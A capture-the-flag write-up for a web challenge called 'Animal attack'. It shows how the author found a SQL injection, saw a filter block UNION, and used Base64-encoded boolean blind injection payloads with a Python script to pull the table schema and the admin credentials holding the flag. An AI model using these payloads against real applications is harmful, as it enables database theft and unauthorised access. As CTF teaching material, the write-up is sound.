# ▼▼▼Animal attack (200pts)(115/607=18.9％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.
The portal is available at :- http://128.199.224.175:24000/```
---
**【Information gathering】**
'(single quart) Insert 1 
↓
```You queried for : 'Sorry, we couldn't find any agent with the given name!```
''(single quart) Insert 2
↓
```You queried for : ''```
'''(single quart) Insert 3 
↓
```You queried for : '''Sorry, we couldn't find any agent with the given name!```
''''(single quart) Insert 4
↓
```You queried for : ''''```
SQL injection is possible !!
  ※In case of SQL error, it seems that error handling is done.
---
**【Identification of DB】**
`'or''=''#`
↓
Since it is a normal response, it is confirmed that it is `MySQL`
---
【Try1: UNION based SQL Injection】
`'UNION SELECT 1#`
↓
`Oooh !! We got a HACKER over here ...`
↓
I inserted only UNION, but UNION seems to be detected by WAF.
---
**【Try2:Blind SQL Injection】**
`0'or'1'='1'#` 	⇒	Show all
`0'or'1'='0'#` 	⇒	no display
↓
Blind SQL injection is possible !!
---
Insert ● = 1 ~, ▲ = 32 ~ 126 as below and extract data using Binary Search
↓
Encode and transmit the following as `Base64`
`0'or ord(substr((select group_concat(table_name,":",column_name) from information_schema.columns where table_schema=database()),●,1))>▲-- `
↓
```$ python BlindSql.py sspspispiespiesspies:spies:ispies:idspies:id,spies:id,sspies:id,spspies:id,spispies:id,spiespies:id,spiesspies:id,spies:spies:id,spies:nspies:id,spies:naspies:id,spies:namspies:id,spies:namespies:id,spies:name,spies:id,spies:name,sspies:id,spies:name,spspies:id,spies:name,spispies:id,spies:name,spiespies:id,spies:name,spiesspies:id,spies:name,spies:spies:id,spies:name,spies:aspies:id,spies:name,spies:agspies:id,spies:name,spies:agespies:id,spies:name,spies:age,spies:id,spies:name,spies:age,sspies:id,spies:name,spies:age,spspies:id,spies:name,spies:age,spispies:id,spies:name,spies:age,spiespies:id,spies:name,spies:age,spiesspies:id,spies:name,spies:age,spies:spies:id,spies:name,spies:age,spies:espies:id,spies:name,spies:age,spies:exspies:id,spies:name,spies:age,spies:expspies:id,spies:name,spies:age,spies:expespies:id,spies:name,spies:age,spies:experspies:id,spies:name,spies:age,spies:experispies:id,spies:name,spies:age,spies:experiespies:id,spies:name,spies:age,spies:experienspies:id,spies:name,spies:age,spies:experiencspies:id,spies:name,spies:age,spies:experiencespies:id,spies:name,spies:age,spies:experience,spies:id,spies:name,spies:age,spies:experience,sspies:id,spies:name,spies:age,spies:experience,spspies:id,spies:name,spies:age,spies:experience,spispies:id,spies:name,spies:age,spies:experience,spiespies:id,spies:name,spies:age,spies:experience,spiesspies:id,spies:name,spies:age,spies:experience,spies:spies:id,spies:name,spies:age,spies:experience,spies:dspies:id,spies:name,spies:age,spies:experience,spies:despies:id,spies:name,spies:age,spies:experience,spies:desspies:id,spies:name,spies:age,spies:experience,spies:descspies:id,spies:name,spies:age,spies:experience,spies:descrspies:id,spies:name,spies:age,spies:experience,spies:descrispies:id,spies:name,spies:age,spies:experience,spies:descripspies:id,spies:name,spies:age,spies:experience,spies:descriptspies:id,spies:name,spies:age,spies:experience,spies:descriptispies:id,spies:name,spies:age,spies:experience,spies:descriptiospies:id,spies:name,spies:age,spies:experience,spies:descriptionspies:id,spies:name,spies:age,spies:experience,spies:description,spies:id,spies:name,spies:age,spies:experience,spies:description,uspies:id,spies:name,spies:age,spies:experience,spies:description,usspies:id,spies:name,spies:age,spies:experience,spies:description,usespies:id,spies:name,spies:age,spies:experience,spies:description,userspies:id,spies:name,spies:age,spies:experience,spies:description,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:ispies:id,spies:name,spies:age,spies:experience,spies:description,users:idspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernaspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernamspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernamespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:pspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:paspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passpies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passwspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passwospies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passworspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passwordspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:espies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emaspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emaispies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emailspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:email ```
---
Similarly, extract data from the users table
↓
`0'or ord(substr((select group_concat(id,":",username,":",password,":",email) from users),●,1))>▲-- `
↓
```$ python BlindSql.py 11:1:a1:ad1:adm1:admi1:admin1:admin:1:admin:p1:admin:pc1:admin:pct1:admin:pctf1:admin:pctf{1:admin:pctf{L1:admin:pctf{L31:admin:pctf{L311:admin:pctf{L31'1:admin:pctf{L31's1:admin:pctf{L31's~1:admin:pctf{L31's~@1:admin:pctf{L31's~@L1:admin:pctf{L31's~@Ll1:admin:pctf{L31's~@Ll_1:admin:pctf{L31's~@Ll_h1:admin:pctf{L31's~@Ll_h41:admin:pctf{L31's~@Ll_h4i1:admin:pctf{L31's~@Ll_h4il1:admin:pctf{L31's~@Ll_h4il-1:admin:pctf{L31's~@Ll_h4il-11:admin:pctf{L31's~@Ll_h4il-1h1:admin:pctf{L31's~@Ll_h4il-1h31:admin:pctf{L31's~@Ll_h4il-1h3-1:admin:pctf{L31's~@Ll_h4il-1h3-c1:admin:pctf{L31's~@Ll_h4il-1h3-c41:admin:pctf{L31's~@Ll_h4il-1h3-c4T1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Q1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu31:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu331:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:s1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:sp1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_a1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_ad1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_adm1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admi1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@a1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@ad1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@adm1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@admi1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@admin1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@admin.1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],21:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:t1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:te1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:tes1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:t1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:te1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:tes1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:t1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:te1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:tes1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:test1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:test```
↓
`pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}`